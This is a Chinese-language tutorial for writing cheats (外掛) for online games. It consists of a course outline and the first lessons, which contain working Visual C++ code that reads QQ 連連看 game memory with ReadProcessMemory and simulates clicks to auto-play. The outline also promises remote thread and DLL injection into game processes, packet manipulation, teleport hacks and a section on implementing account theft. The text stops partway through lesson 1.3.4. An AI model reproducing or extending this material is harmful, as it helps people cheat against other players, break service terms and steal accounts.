visual_c++外掛教程(詳細)


課程分四個大章節  

         初級篇,中級篇,進階篇,高級篇

         初級篇內容:編寫一個完整的,簡單的外掛

           C++的數據類型:Byte,Word,DWORD,int,float

           API函數的調mouse_event,GetWindowRect,SetCursorPos,FindWindow,SendMessage)

           CE5.4工具的使用方法

         中級篇內容:調試工具的使用技巧,功能CALL的概念

           調試工具OD1.1的使用技巧(如硬件斷點,條件斷點,內存斷點。

           常用匯編指令與對應高級語言的轉換。

           游戲功能CALL概念

           找第一個功能CALL

          外掛框架的構建(通用)

     進階篇內容:分析游戲內部數據,分析常用功能CALL

          游戲數據實踐找各種功能CALL(如打怪,選怪,物品使用,技能欄之類)及相應的代碼編寫

     高級篇內容:編寫完整外掛

           完成一個相對完整的外掛,實現 自動掛機,打怪,存放物品之類的功能

      

          

 

  1 入門篇.

     1.1、一個最簡單的外掛

         1.1.1、游戲窗口數據分析(SPY++) --------------------10

              a、取得窗口相對坐標

              b、讀出游戲窗口信息GetWindowRect

              c、移動鼠標指針SetCursorPos

         1.1.2 用VC++寫個最簡單的外掛(實現游戲開局)--- 12           

              a、鼠擬鼠標單擊mouse_event

              b、鼠標指針移動還原

              c、集成到startgame函數里

     1.2、用CE查找棋盤數據      ------------------------14

         1.2.1、CE中的數據類型

              a、數據類型:Bit,Byte,Word,Dword,float,double

              b、用CE查找出坐位號;

              c、保存分析數據

         1.2.2、編程讀出坐位號; --------------------------- 15

              a、遠程讀取進程數據

              b、打開遠程進程

              c、讀取遠程進程數據

         1.2.3、用CE查出棋盤基址;---------------------------16

              a、找棋盤數據基址

              b、分析棋盤數據結構

         1.2.4、讀出當前棋盤數據 --------------------------17

              a、編程讀出棋盤數據

              b、棋盤數據顯示出來        

     1.3、用模擬技術編制外掛  -------------------------------18

                     1.3.1 分析棋子與棋盤坐標關系

               a、鼠標軟件模擬,函數SendMessage

               b、分析窗口內棋子相對坐標X,Y 

               c、軟件模擬點擊棋盤坐標x,y處的棋子

         1.3.2 消掉一對棋子的算法框架 -------------------- 20

               a、遍歷棋盤同類型棋子配對

               b、構建算法框架

         1.3.3 (Check2p)大致框架(算法核心)---------------21

               a、在這一對棋子間找相通路徑的原理

               b、(Check2p函數)框架代碼

               c、(CheckLine函數)檢測2點是否有連通.

         1.3.4 CheckLine實現  23

               a、CheckLine函數實現

               b、Check2p核心代碼架構

         1.3.5 Check2p完整代碼實現   ----------------------25

               a、完整的Ceheck2p代碼解析

               b、完善CheckLine函數              

         1.3.6 Click2p函數實現,單消棋子功能實現  --------33

               a、完成Click2p函數

               b、單消一對棋子的實現

               c、修改ClearPair函數

         1.3.7 掛機/秒殺/----------------------------------35

             a、自動開局

             b、掛機下棋             

         1.3.8  游戲外掛界面美化---------------------------38

             a、添加進度條

             b、界面調整

             c、Slider控件屬性設置

         1.3.9 倒計時與棋子數(基址查找)--------------------40

             a、查找棋子數

             b、查找倒計時

             c、開局標志

         1.4  編寫完整外掛 --------------------------------40

           1.4.1 優化自動開局函數StartGame 

             a、讓游戲窗口高高在上

             b、優化開局函數

           1.4.2 去掉游戲倒計時限制 ---------------------- 42

             a、找到計時代碼

             b、動態修改游戲代碼(OD使用初探)

             c、去掉計時限制         

           1.4.3 編寫完整外掛 --------------------------------44

            a、功能測試

            b、修改完善外掛

            c、讀出當前棋子數

            d、秒殺實現

           1.4.4 初級篇小結 ----------------------------------46

            a、游戲分析小結

            b、編程小結

                      

 

  2 中級篇 以XX3D游戲為例   

     2.1、分析前的准備..CALL簡介:---------------------------49

         2.1.1、CALL的概念(遠程調用CALL)

                a、寫個調用示例(假想游戲客戶端)

                b、用OD找CALL,初探(用OD找出我們自己寫的CALL)

                c、代碼注入器,遠程CALL調用

         2.1.2、遠程CALL調用代碼實現-------------------------51

                a、CreateRemoteThread API函數

                b、無參數的遠程CALL調用(代碼實現) 

         2.1.3、調試工具OD簡介(人物角色)血值,魔力值,坐標偏移;53

                a、CE找出當前血值偏移

                b、OD 分析出魔力值,坐標偏移

                c、導出游戲關鍵代碼 

         2.1.4、游戲基址概念;---------------------------------54

                a、基址+偏移 概念

                b、讀寫內存函數 參數簡介

                c、編程實現讀出(血值,魔力值)

         2.1.5、常用匯編指令詳解-------------------------56

                a、Mov指令的幾種形式

                b、匯編指與高級語言的轉換

                c、push指令

         2.1.6、內聯匯編編程實例-------------------------58

                a、加法add

                b、減法sub

                c、純匯編調用函數CALL(參數的傳遞)

                d、堆棧平衡

 

     2.2、技能欄使用-游戲分析利器OD(OllyDbg)

         2.2.1、吃金創葯CALL---------------------------59

               a、CE工具使用技巧

               b、OD斷點F2

               c、分析CALL的參數

               d、代碼注入器測試CALL

         2.2.2、編寫自己的CALL測試代碼61

               a、遠程分配內存空間VirtualAllocEx

               b、向游戲進程注入自己代碼

               c、遠程調用《吃金創葯》   

    2.3、DLL外掛框架構建

       2.3.1、DLL動態鏈接庫構建,與調用  ----------------62

            a、建立MFC動態鏈接庫dll

            b、EXE程序中調用DLL函數              

       2.3.2、API與回調函數64

            a、鍵盤勾子回調函數keyProc

            b、安裝函數SetupFun

            c、注入DLL至游戲進程空間

       2.3.3、DLL中構建窗口 ------------------------------66

            a、DLL中插入窗口資源

            b、在游戲內創建DLL窗口

            c、DLL內CALL代碼書寫(以吃紅葯為例) 

    2.4、選怪功能實現

      2.4.1、找怪物列表基址---------------------------------68

           a、選定怪ID

           b、怪物數組基址

           c、怪物數組大小

      2.4.2、分析怪對象屬性---------------------------------70

           a、怪對象ID

           b、怪與玩家距離

           c、怪物死亡狀態

      2.4.3、遍歷怪物列表      -----------------------------71 

             a、選怪關鍵代碼

             b、定位一個怪對象

             c、選怪功能實現

       2.4.4、選怪功能優化----------------------------------73

             a、OD分析選怪功能對應代碼

             b、寫測試代碼讓選定怪物血條正確顯示

             c、集成選怪函數到SelMon()

     2.5、用OD分析游戲功能CALL.《XXXXXX》為例:主要是找CALL

       2.5.1、普通攻擊CALL關鍵代碼分析75

             a、更新游戲選怪基址

             b、分析攻擊CALL關鍵代碼

             c、匯編指令與應高級語言對照翻譯

             d、編程測試

       2.5.2、掛機打怪功能------------------------------------75

             1、更新選怪CALL地址

             2、優化代碼結構

             3、自動選怪代碼編寫

             4、自動打怪代碼編寫

             5、代碼測試

       2.5.3、物品背包數組基址+偏移分析(CE+OD)--------------79

             a、確定突破口

             b、回溯基址

             c、用OD驗證

             d、推導出基址+偏移公式

      2.5.4 、使用指定物品 UseGoods(int index=0);-------------80

              a、算法原理

              b、返回物品在背包中的下標 int GetGoodsIndex(char* name);

              c、useGoods(GetGoodsIndex("金創葯(小)");

     2.5.5、TabCtrl控件的使用(VC++基礎好的可跳過)-----------------84

a、m_tab.InsertItem

b、m_tab.GetCurSel()

c、Create(IDD_PAG1,GetDlgItem(IDC_TAB))

     2.5.6、TabCtrl控件BUG修證(VC++基礎好的可跳過)---------------85

           a、修證亂碼

           b、修證對齊

           c、局部美化(位置大小調整)

     2.5.7、撿物功能分析實現---------------------------------86

         a、撿物功能CALL分析

         b、撿物CALL參數分析

         c、找出所有動作CALL(打坐/普攻/撿物/交易/組隊/走跑切換....)

         d、測試及封裝到pickgoods()函數 

     2.5.8: F1-F10技能數組分析-------------------------------88

         a、F1-F10技能欄數組(基址+偏移)

         b、F1-F10功能調用核心代碼分析

     2.5.9、F1-F10功能CALL---------------------------------90

         a、找出真的功能CALL

         b、F1-F10功能CALL參數分析

         c、F1-F10功能CALL測試(集成功能至GameProc.h)                   

      

 3、進階篇  

    主要講功能CALL的參數分析

     匯編浮點指令/浮點運行/浮點數整數轉換/匯編里的指針

   

 3.1.1、喊話功能CALL地址    -------------------------------93

      a、找喊話內容地址

      b、分析出關鍵CALL

      c、測試關鍵CALL  

 3.1.2、喊話功能VC++實現------------------------------------94

      a、分析喊話CALL參數基址+偏移 

      b、匯編指令lea

      c、字串操作REPNZ/REPNE與SCAS

      d、V++代碼實現

 3.2.1、走路相關數據分析(為分析走路/尋路CALL做准備)----------97

     a、查找當前角色坐標(xhy)

     b、查找目的地坐標(xhy)偏移+基址

     c、找出相關CALL     

 3.2.2、走路功能CALL及相關分析-------------------------------98

      a、隱藏的push指令

      b、測試走路CALL

      c、確定功能CALL及參數

 3.2.3、對找到的幾個疑是CALL進行測試---------------------------100

      a、分析出疑是CALL相關參數

      b、對找到的CALL進行逐一測試

      c、確定真正的走路CALL

 3.2.4、人物走跑站狀態開關分析---------------------------------102

      a、走路CALL 狀態開關分析

      b、分析狀態開關 基址+偏移

      c、分析走路目的地址相關基址+偏移

 3.2.5、利用分析數據 實現走路/尋路---------------------------104

      a、走路功能代碼實現

      b、測試

      c、封裝到walk(x,y)

      d、瞬移(穿牆)

 3.3、 怪物過濾

      3.3.1、怪物列表關鍵代碼分析 ------------------------- 105

             a、怪物列表(分析原理)

             b、回溯怪物列表基址+偏移

             c、取得怪物對象的公式

      3.3.2、怪物屬性分析 -----------------------------------107

             a、怪物名

             b、怪物血量

             c、怪物ID

             d、怪物與玩家距離  

             e、提取特征碼           

      3.3.3、怪物過濾的編寫代碼         ------------------------108  

            a、讀出怪物列表

            b、過濾掉指定怪物 

            c、選定特定怪物 

            d、過濾打怪測試 

            e、選中最近怪物                     

 3.4、 物品過濾

      3.4.1、物品屬性分析   ---------------------------------111

             a、物品ID

             b、物品對象

             c、物品屬性分析

      3.4.2、物品過濾(編程讀出物品列表數據)------------------112

             a、讀出物品列表

             b、條件判斷是否撿物(距離,物品名)

             c、顯示出提示信息  

      3.4.3、撿物過濾  --------------------------------------113

             a、分析撿物深層CALL

             b、PickID(物品ID);

             c、撿物過濾

             d、撿物范圍控制

     3.4.4、游戲多開實現------------------------------------116

             a、游戲防止多開的原理

             b、找出本游戲多開的方法

             c、測試驗證  

      

 3.5、 組隊相關

      3.5.1、 選定指定角色------------------------------118

            a、多開BUG修證

            b、分析玩家屬性

            c、遍歷玩家列表

            d、選定指定玩家角色原理

            e、int SelPlayEr(pchar 玩家名);

      3.5.2、計算玩家間的距離(已知坐標)----------------120

            a、坐標系內的點1與點2

            b、2點間的距離計算公式

            c、准備知識

            d、planRange(int p1,int p2)函數構建

      3.5.3、 組隊功能123

           a、更新組隊動作CALL

           b、選定指定玩家

           c、邀請指定玩家加入隊伍int Invite(char* playName);

      3.5.4、 離隊功能  ------------------------------124

           a、分析離隊動作

           b、逆向分析離隊代碼

           c、初識封包

           d、Rep stos [edi]

           e、內存中的數據與 byte,int的對應關系

           f、封裝離隊函數void exitTeam();

 3.6、售物/購物(封包的世界)    

      3.6.1、售物功能封包分析---------------------------126

          1、封包回溯,找未加密的封包

          2、確家關鍵CALL

          3、分析封包(物品數量,類型,位置)

          4、功能測試SellGoods函數構建

     3.6.2 售物封包參數來源分析----------------------128

          1、數量分析

          2、出售物品類型分析

          3、出售物品在背包里的格數

          4、各種數據的來源

     3.6.3、編程實現出售背包指定物品-----------------132

          1、遍歷背包指定物品

          2、出售背包第一格物品

          3、出售背包第N格物品

     3.6.4、完善售物功能----------------------------134

          1、構建函數int FindIndex(char* name);

             FindIndex//用來查詢指定物品名name在背包中的位置

          2、垃圾物品清單

          3、遍歷出售所有垃圾物品SellGoods

          4、移植函數到Gameproc.h          

     3.6.5、打開NPC購物/售物對話框-------------------137

          1、打開NPC對話

          2、打開NPC(買進/賣出)窗口 

          3、封裝到int OpenNpc_buysell();測試   

     3.6.6、購物功能封包分析------------------------140

          1、封包回溯,找未加密的封包

          2、確家關鍵CALL

          3、分析封包         

          4、數量分析

          5、出售物品類型分析  

          6、功能測試           

 3.7、 擺攤.開店

     3.7.1 開店封包分析------------------------------142

       a、店名分析

       b、封包參數分析

       c、為TAB選項卡2 添加內容

       d、不同CPP之間共享函數及變量的方法

       d、寫申請開店代碼測試 

     3.7.2 開店封包(掛店物品分析)------------------145

       a、分析封包

       b、封包出售物品的格式分析

       c、寫代碼測試

       

 4、高級篇   

    4.0、編寫相對完整的外掛  ------------------------149

      4.0.1、窗口界面整理

           a、常規選項卡

           b、保護選項卡

           c、撿物選項卡

           d、喊話選項卡          

      4.0.2、常規選項卡-自動打怪函數構建-------------154

           a、關聯變量

           b、選怪函數優化

           c、共享變量 extern

           d、算法設計

           e、功能測試

      4.0.3、保護選項卡-自動補紅補藍函數構建----------159

           a、402中的BUG修整

           b、算法設計

           c、編寫代碼

           d、功能測試

      4.0.4、撿物選項卡-自動撿物函數構建--------------164

           a、過濾垃圾物品-不撿垃圾列表里的物品

           b、算法設計

           c、編寫代碼

           d、功能測試

      4.0.5、喊話選項卡-自動喊話設置------------------168

           a、關聯變量

           b、喊話功能算法設計

           c、編寫代碼

           d、功能測試

    4.1、游戲更新后的外掛更新 ------------------------174

    4.2、腳本功能-------------------------------------175

    4.3、盜號的實現   --------------------------------180

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

初級篇1.1.1教學目標:模擬鼠標操作

     1.1.1、游戲數據分析(SPY++)

                a、取得窗口相對坐標

                b、讀出游戲窗口信息GetWindowRect

                c、移動鼠標指針SetCursorPos

               

HWND FindWindow(

  LPCTSTR lpClassName,  //窗口類名

  LPCTSTR lpWindowName  //窗口標題

);

 

  

 

教學過程:

 取游戲標題:QQ游戲 - 連連看角色版

       

 取開局所在坐標:x=655;y=577 //lparam 0x0241028f

   攔截消息:WM_LBUTTONDOWN,WM_LBUTTONUP

API-FindWindow(NULL,"QQ游戲 - 連連看角色版");

 

//

FindWindow,GetWindowRect,SetCursorPos

 

      

////////////////////////////////////

 

        

首先還是要用SPY查找游戲窗口,這里用到的是中文版,用”查找窗口”找到游戲標題: “QQ游戲 - 連連看角色版”,再次用查找窗口功能,這次選擇”消息”,用來查找鼠標指向開始按鈕的消息位置.先讓消息停下來,這次選擇消息的類型WM_LBUTTONDOWN和WM_LBUTTONUP,找到鼠標點擊位置取開局所在坐標:x=655;y=577 //lparam 0x0241028f

 

下面打開VC,新建-工程-MFC EXE-工程名是LLKWG,然后選擇基本對話框,完成即可

 

 

 

還要在編輯框中關聯變量,建立類向導

 

 

 

 

 

在游戲開局按鈕輸入代碼

 

// The system calls this to obtain the cursor to display while the user drags

//  the minimized window.

HCURSOR CLlk_wgDlg::OnQueryDragIcon()

{

return (HCURSOR) m_hIcon;

}

 HWND gameh;//游戲窗口句柄

 RECT r1;   // RECT結構表示一個矩形區域

void CLlk_wgDlg::OnStartGame() 

{

// TODO: Add your control notification handler code here

gameh=::FindWindow(NULL,"QQ游戲 - 連連看角色版");//獲取游戲窗口句柄

::GetWindowRect(gameh,&r1);        //這里取坐標, 雙冒號是全局的意思

this->m_x=r1.left;this->m_y=r1.top;//讀出窗口左上角坐標, this是關聯變量

UpdateData(false);                 //顯示到編輯框

//設置鼠標指針位置  取開局所在坐標:x=655;y=577 //lparam 0x0241028f

SetCursorPos(655+r1.left,577+r1.top);//當前窗口坐標+開局按鈕坐標

 

}

 

  1.1.2 用VC++寫個最簡單的外掛(實現游戲開局)               

                a、鼠擬鼠標單擊mouse_event

                b、鼠標指針移動還原

                c、集成到startgame函數里

 

 

教學過程:

 //模擬鼠標的 單擊(鼠標按下/鼠標抬起)

//MOUSEEVENTF_LEFTDOWN Specifies that the left button is down. 

    //MOUSEEVENTF_LEFTUP 

//鼠標在當前位置按下

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

//鼠標在當前位置抬起

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

 

小結:

    mouse_event,Sleep,SetCursorPos

      

        

///////////////

 

這次用到了鼠標點擊的函數mouse_event鼠標硬件模擬,如果調用不成功則延時一下Sleep (200),然后再將鼠標移回原位SetCursorPos這個是位置設置函數

 

調用成功后,將函數放在一個.h頭文件里,方便以后調用.新建 c/c++ Header File,文件名GameProc

#include "stdafx.h" 

//游戲 功能函數

 HWND gameh;

 RECT r1;

 POINT p;//x,y

void startGame()

{

// TODO: Add your control notification handler code here

//獲取游戲窗口句柄

gameh=::FindWindow(NULL,"QQ游戲 - 連連看角色版");

::GetWindowRect(gameh,&r1); 

//保存當前鼠標指針

   //取得當前鼠標位置

GetCursorPos(&p);

//設置鼠標指針位置  取開局所在坐標:x=655;y=577 //lparam 0x0241028f

SetCursorPos(655+r1.left,577+r1.top);

//模擬鼠標的 單擊(鼠標按下/鼠標抬起)

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); //鼠標在當前位置按下

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); //鼠標在當前位置抬起

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

Sleep(200);//過一段時間 再執行后邊的代碼

      SetCursorPos(p.x,p.y); //還原鼠標位置

 

}

 

 

當然還要將這個.h文件包涵進主函數里

 

#include "stdafx.h"

#include "llk_wg.h"

#include "llk_wgDlg.h"

#include "GameProc.h"

 

然后這樣調用

 

void CLlk_wgDlg::OnStartGame() 

{

  startGame();

}

 

 

今天我們要一起學習的是1.2.1

  教學目標: 

  1.2.1、CE中的數據類型

              a、數據類型:Bit,Byte,Word,Dword,float,double

              b、用CE查找出坐位號;

              c、保存分析數據

 

教學過程:

 a、數據類型:Bit,Byte,Word,Dword,float,double

 C++數據類型

 bit/位 1位  取值范圍:0..1

 byte(字節)=0..11111111(2進制)=0..255(10進制)=0..FF   (16進制)

 WORD(單字)=2Byte=0..65535(10進制)    =0..FFFF (16進制)

 DWORD(雙字)=2WORD=4Byte=0..4294967295 =0..FFFFFFFF

 float(浮點數) double(雙浮點數)

 int(4字節),long(4字節),WORD,DWORD(4字節),float(4字節),double(8字節)

 

  b、用CE查找出坐位號;

   打開 QQ游戲 連連看

   猜測 0..5,1..6,順時針

   0..7

 坐位號地址:0x00B8D8E0      

 

///////////////////////////////////

 

首先講了關於十六進制/十進制/八進制/二進制/字節/雙字節等基礎知識

因為游戲當中不同的座位號數據不一樣,所以首先要找到座位號.

用CE搜索游戲是字節型來查找游戲的座位號,一桌是6個位置,猜測是從0到5,上面是0,順時針方向加1.所以我們更換座位號后再繼續用CE搜索相應的位置號,注意附加的進程可不要出錯哦.QQ連連看的進程名是KYODAI~1.EXE,可以用任務管理器找出.

找到后將CE的數據保存一下,方便下次調用.

這節課主要講了字節的基礎知識和CE的基本用法

 

  

 今天我們要一起學習的是1.2.2

  教學目標: 

 1.2.2、編程讀出坐位號;

              a、遠程讀取進程數據

              b、打開遠程進程

              c、讀取遠程進程數據

 

教學過程:

API函數介紹

  1、FindWindow               //獲取窗口句柄

  2、GetWindowThreadProcessId //獲取窗口進程ID

  3、OpenProcess              //打開指定進程

  4、ReadProcessMemory        //讀指定進程 內存數據

 游戲進程名:KYODAI~1.EXE

 游戲窗口標題:"QQ游戲 - 連連看角色版"

 HWND FindWindow(

  LPCTSTR lpClassName,  // NULL 忽略

  LPCTSTR lpWindowName  // 窗口標題

);

 

BOOL ReadProcessMemory(

  HANDLE hProcess,  // 進程句柄 

  LPCVOID lpBaseAddress,

                    // 基址0x00B8D8E0

  LPVOID lpBuffer,  // 存放數據緩沖區

  DWORD nSize,      // 要讀取數據的字節數

  LPDWORD lpNumberOfBytesRead 

                    // 實際讀取的字節數

);

 

//////////////////////

 

這次需要幾個函數來取得窗口/句柄/進程/內存等信息

幾個函數要聯合運用,前一個函數的返回值就是后一個函數的參數

 

在VC代碼里添加座位號的變量m_Num 類型是UINT,新增一個按鈕,添加如下代碼

 

 

const PCHAR gameCaption="QQ游戲 - 連連看角色版";

void CLlk_wgDlg::OnButton2() 

{

  // 游戲窗口標題:"QQ游戲 - 連連看角色版"

  // 1、FindWindow               //獲取窗口句柄

  //2、GetWindowThreadProcessId //獲取窗口進程ID

  //3、OpenProcess              //打開指定進程

  //4、ReadProcessMemory        //讀指定進程 內存數據

//獲取窗口句柄

HWND gameh=::FindWindow(NULL,gameCaption);

//獲取窗口進程ID

DWORD processid;

::GetWindowThreadProcessId(gameh,&processid);

//打開指定進程

HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);

//讀指定進程 內存數據

    DWORD byread;

LPCVOID pbase=(LPCVOID)0x00B8D8E0;//讀取當前的指針,強制轉換為LPCVOID指針

LPVOID  nbuffer=(LPVOID)&m_num;   //保存當前的指針,強制轉換為LPVOID指針

::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);

UpdateData(false); //更新變量的值到 編輯框

}

今天我們要一起學習的是1.2.3

  教學目標: 

  1.2.3、用CE查出棋盤基址;

              a、找棋盤數據基址

              b、分析棋盤數據結構

 

 

 19寬*11高 :數組 byte a[19][11]

 byte 0..255 // 00..FF

 

 0x0012A508    //棋盤數組基址

 db 地址     // 以字節方式 顯示指定地址內存里的數據

 

////////////////////////

 

前面座位號的基址已經找出了,所以這次要找出棋盤的數據,

要先查一下棋盤的2維排列,是19寬*11高,用QQ截圖查找一下長和寬,然后計算出每一格的大小.猜測棋盤的棋子也是字節的,我們查找左上角第一棋子的數據.

用CE查找,如果有棋子就是大於0,變化了就再搜索更改的數值,沒有棋子就是0,多次查找就找到第一棋子的地址了. 自己找個座位坐下來,加個密碼不讓別人進,多按幾次"練習"按鈕,這樣棋盤變化就方便找棋子數據了.老師也查找出錯了,再來一次吧.

找到后用OD加載一下看看,這樣的數據排序看的比較清楚

 

這節課講解了CE查找的方法

今天我們要一起學習的是1.2.4

  教學目標: 

  1.2.4、讀出當前棋盤數據

              a、編程讀出棋盤數據

              b、棋盤數據顯示出來        

 

 參考章節:1.2.3,1.2.2

 19寬*11高 :數組 byte a[11][19] // a[y][x]

 byte 0..255 // 00..FF

 

 0x0012A508    //棋盤數組基址

 db 地址     // 以字節方式 顯示指定地址內存里的數據

 

itoa(要轉換的整數,存放字符數組,要轉換的字符進制)

for (int y=0;y<=10;y++) //y++ y:=Y+1;

 

 

////////////////////////////////////

 

添加了一個編輯框用來顯示棋盤數據,再關聯一個變量m_Chessdata  Cstring類型

 

 

 

增加”更新棋盤數據”按鈕,添加代碼如下:

byte chessdata[11][19];//a[y][x]

void CLlk_wgDlg::OnBtnReadchess() 

{

// TODO: Add your control notification handler code here

//獲取窗口句柄

HWND gameh=::FindWindow(NULL,gameCaption);

//獲取窗口進程ID

DWORD processid;

::GetWindowThreadProcessId(gameh,&processid);

//打開指定進程

HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);

//讀指定進程 內存數據

    DWORD byread;

LPCVOID pbase=(LPCVOID)0x0012A508; //棋盤數據基址

LPVOID  nbuffer=(LPVOID)&chessdata; //存放棋盤數據

::ReadProcessMemory(processH,pbase,nbuffer,11*19,&byread);

char buf[11]; ///顯示棋盤數據

m_chessdata=""; //先清空編輯

 for (int y=0;y<=10;y++)//一列一列的讀,FOR循環:Y=0是循環的起始值,Y<=10是終止值,Y++是每次Y+1

 {

 for (int x=0;x<=18;x++) //一行一行的讀

 {

  itoa(chessdata[y][x],buf,16); //itoa整型轉換成字串

  m_chessdata+=buf;

  m_chessdata+=" ";

 }

    m_chessdata+="\r\n"; //換行

 }

UpdateData(false); //更新數據

}

今天我們要一起學習的是1.3.1

  教學目標: 

   1.3.1 分析棋子與棋盤坐標關系

               a、鼠標軟件模擬,函數SendMessage

               b、分析窗口內棋子相對坐標X,Y 

               c、軟件模擬點擊棋盤坐標x,y處的棋子

 

 

1、SendMessage;

SendMessage(hwnd,WM_LBUTTOMDOWN,0,YX);//hwnd=FindWindow(NULL,游戲標題);

SendMessage(hwnd,WM_LBUTTOMUP,0,YX);  //PostMessage/mouse_event

2、獲取棋盤左上角棋盤第一格坐標.

 棋盤第一格 坐標 x=21,y=192

int   x=22,y=187;

 

hwnd=FindWindow(NULL,游戲標題);

SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x);//

SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x);  // 

3、計算棋盤的 寬度*高度

589*385

棋盤第一格 

坐標 x=21,y=192

31*35 棋子寬度,高度

SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x+31*2);//

SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x);  // 

 

//SendMessage 鼠標模擬,//WM_LBUTTONDOWN 鼠標左鍵按下 //WM_LBUTTONUP 鼠標左鍵抬起

//<< 左移指令

 

 

 //////////////////////////

 

前面都是直接移動了鼠標,這次要改發送鼠標消息了,這樣鼠標不移動也會點擊游戲的開始按鈕.SendMessage的參數是相對坐標, mouse_event的參數是絕對坐標

再次打開SPY++,找到棋盤第一格的位置,X=21,Y=187

新增一個按鈕”點擊棋盤第一格”方便測試,添加代碼如下:

 

void CLlk_wgDlg::OnButton3()                       //按鈕函數

{

int   x=22,y=187;                           //定義座標點

HWND hwnd=::FindWindow(NULL,gameCaption);   //查找窗口

int lparam;                                 //定義座標點變量

lparam=(y<<16)+x+31*2;                      //表示指定格,Y<<16是左移16位,發消息用的Y座標點

::SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//鼠標按下消息

::SendMessage(hwnd,WM_LBUTTONUP,0,lparam);  //鼠標抬起消息

 

}

 

用QQ抓圖,查找棋子格子數大小,31*35的大小,以便計算出所有格子的座標點.

今天我們要一起學習的是1.3.2

  教學目標:  

   1.3.2 消掉一對棋子的算法框架

               a、遍歷棋盤同類型棋子配對

               b、構建算法框架

 

 //

 //遍歷整個 棋盤 找相同一對棋子

 //檢測這一對棋子是否 可以消除

 //如果 可以消除 ,則模擬鼠標點擊這2點

 

最多一條 三條 連線 能夠形式一條 路線 就表示可消除

 

 ////////////////////////////

 

更改”點擊棋盤第一格”代碼如下:

void ClearPiar() //消除一對棋子

{    

//讀出棋盤數據至chessdata 11,19

     updatdChess();

//遍歷整個棋盤 找出相同類型 一對棋子

 POINT p1,p2;//定義兩個點,座標型

 int x1,y1,x2,y2;//定義座標點

  for (y1=0;y1<11;y1++)//點1循環,從Y列開始

  for (x1=0;x1<19;x1++)//點2循環,從X行開始

  {   for (y2=y1;y2<11;y2++)//這是點2的Y循環,由Y1開始

  for (x2=x1;x2<19;x2++)//這是點2的X循環,由X1開始

// 棋子1與棋子2 類型是否相同, 要求點1與點2 相等則假,就是座標不能相同.

  if ((chessdata[y1][x1]==chessdata[y2][x2]) &&(!((x1==x2)&&(y1==y2)))     )

  {  

  p1.x=x1;p1.y=y1;

  p2.x=x2;p2.y=y2;

  //檢測 相同的2個棋子是否可消掉

 if ( check2p(p1,p2))//如果可消除 則返回真

 {

 //click2p 鼠標模擬 點擊 p1,p2

 click2p(p1,p2);

 

 }

  }

  }

 

}

 

 

這節課講的是VC編程,需要對邏輯運算有一定的理解, 要檢測兩點是否相同,同時要避免在同一點,還要檢測兩點是否可消除,檢測的函數check2p先定義了一個空的,下節課再添加代碼.模擬鼠標點擊的函數click2p本節課也沒有添加代碼.

今天我們要一起學習的是1.3.2

  教學目標:  

  1.3.3 (Check2p)大致框架(算法核心)

               a、在這一對棋子間找相通路徑的原理

               b、(Check2p函數)框架代碼

               c、(CheckLine函數)檢測2點是否有連通

 

LineNull(p1,p2); //是否在棋盤上 的2個點之前是否有一條全為0的直線,如有true,否則false

1、剪貼游戲圖;

Y坐標相同的情況下 p1,p2 

lineNull(p1.right,p2.left) //可消除

X坐標相同的情況下 p1,p2

LineNull(p1.down,p2.up)    //可消除

 

X與Y坐標都不相情況下 p1,p2

lineNll(p1.down,pa),LineNull(p2.down,pb),LineNull(pa,pb)

//可消除

 

  

   

 ////////////////////////////////////

 

現在就要來分析游戲了,連連看大家都知道,是需要判斷兩點間是否可以連接的,比如有直連,有一折后的連接,最多是二折后的連接.

如果是直連的話,就要判斷中間是否所有的數據都為0,判斷的思路很主要,一定要搞清楚.而有折的連接則需要多條直線,最多是三條直線,這個需要遍歷,不斷的向下判斷.

將VC代碼打開,插入一個類Generic Class,名稱為CChessPoint

添加代碼如下:

class CChessPoint  

{

public:

POINT p;//臨時點

POINT up;//上點

POINT down;//下點

POINT left;//左點

POINT right;//右點

CChessPoint(POINT pxy);  //構造函數

virtual ~CChessPoint();

 

};

 

還要在Cchesspoint.cpp實現部分修改代碼

 

CChessPoint::CChessPoint(POINT pxy) 

{    up=pxy;down=pxy;left=pxy;right=pxy;//將座標初始化

//向上下左右擴展

     p=pxy;

     up.y=pxy.y-1;

 down.y=pxy.y+1;

 left.x=pxy.x-1;

 right.x=pxy.x+1;

 //這樣處理完之后每個棋子就包涵了上下左右中五個點的屬性

 

}

 

CChessPoint::~CChessPoint()

{

 

}

 

 

 

在按鈕部分增加代碼如下:

 

bool lineNull(POINT p1,POINT p2)

{

return true;//先寫個空的,下節課繼續.

}

 

bool check2p(POINT p1,POINT p2)

{ //檢測 p1,p2 2個棋子 是否可以消除

// Y坐標相同的情況下 p1,p2 

//lineNull(p1.right,p2.left) //可消除

if (p1.y==p2.y) //如果列相同則執行

{    CChessPoint pa(p1),pb(p2);//先建立類,初始化兩點

 if (lineNull(pa.down,pb.up)) return true;//先將兩個點類化, 可消除返回真

}

//X坐標相同的情況下 p1,p2

//LineNull(p1.down,p2.up)    //可消除

if (p1.x==p2.x) //如果行相同則執行此句

{    CChessPoint pa(p1),pb(p2);

 if (lineNull(pa.down,pb.up)) return true;

}

 

//X與Y坐標都不相情況下 p1,p2

//lineNull(p1.down,pa),LineNull(p2.down,pb),LineNull(pa,pb)

//可消除

return true;

}

 

這節講VC,比較難理解,很多地方與DELPHI不同,老師寫了很多代碼,我不太懂,是不是代碼寫的太啰嗦了?還是我水平太差.我再繼續學學看,如果不懂的太多,就要參考別的VC教程一起學習了.這節課代碼還沒有寫完,時間已經到了,下節繼續.

  

 今天我們要一起學習的是1.3.4

  教學目標:  

   

  1.3.4 CheckLine實現

               a、CheckLine函數實現

               b、Check2p核心代碼架構

  

 bool CheckLine(POINT p1;POINT p2)

{

  //x坐標相同

// p1.y to p2.y

  //Y坐標相同

 //p1.x to p2.x

}

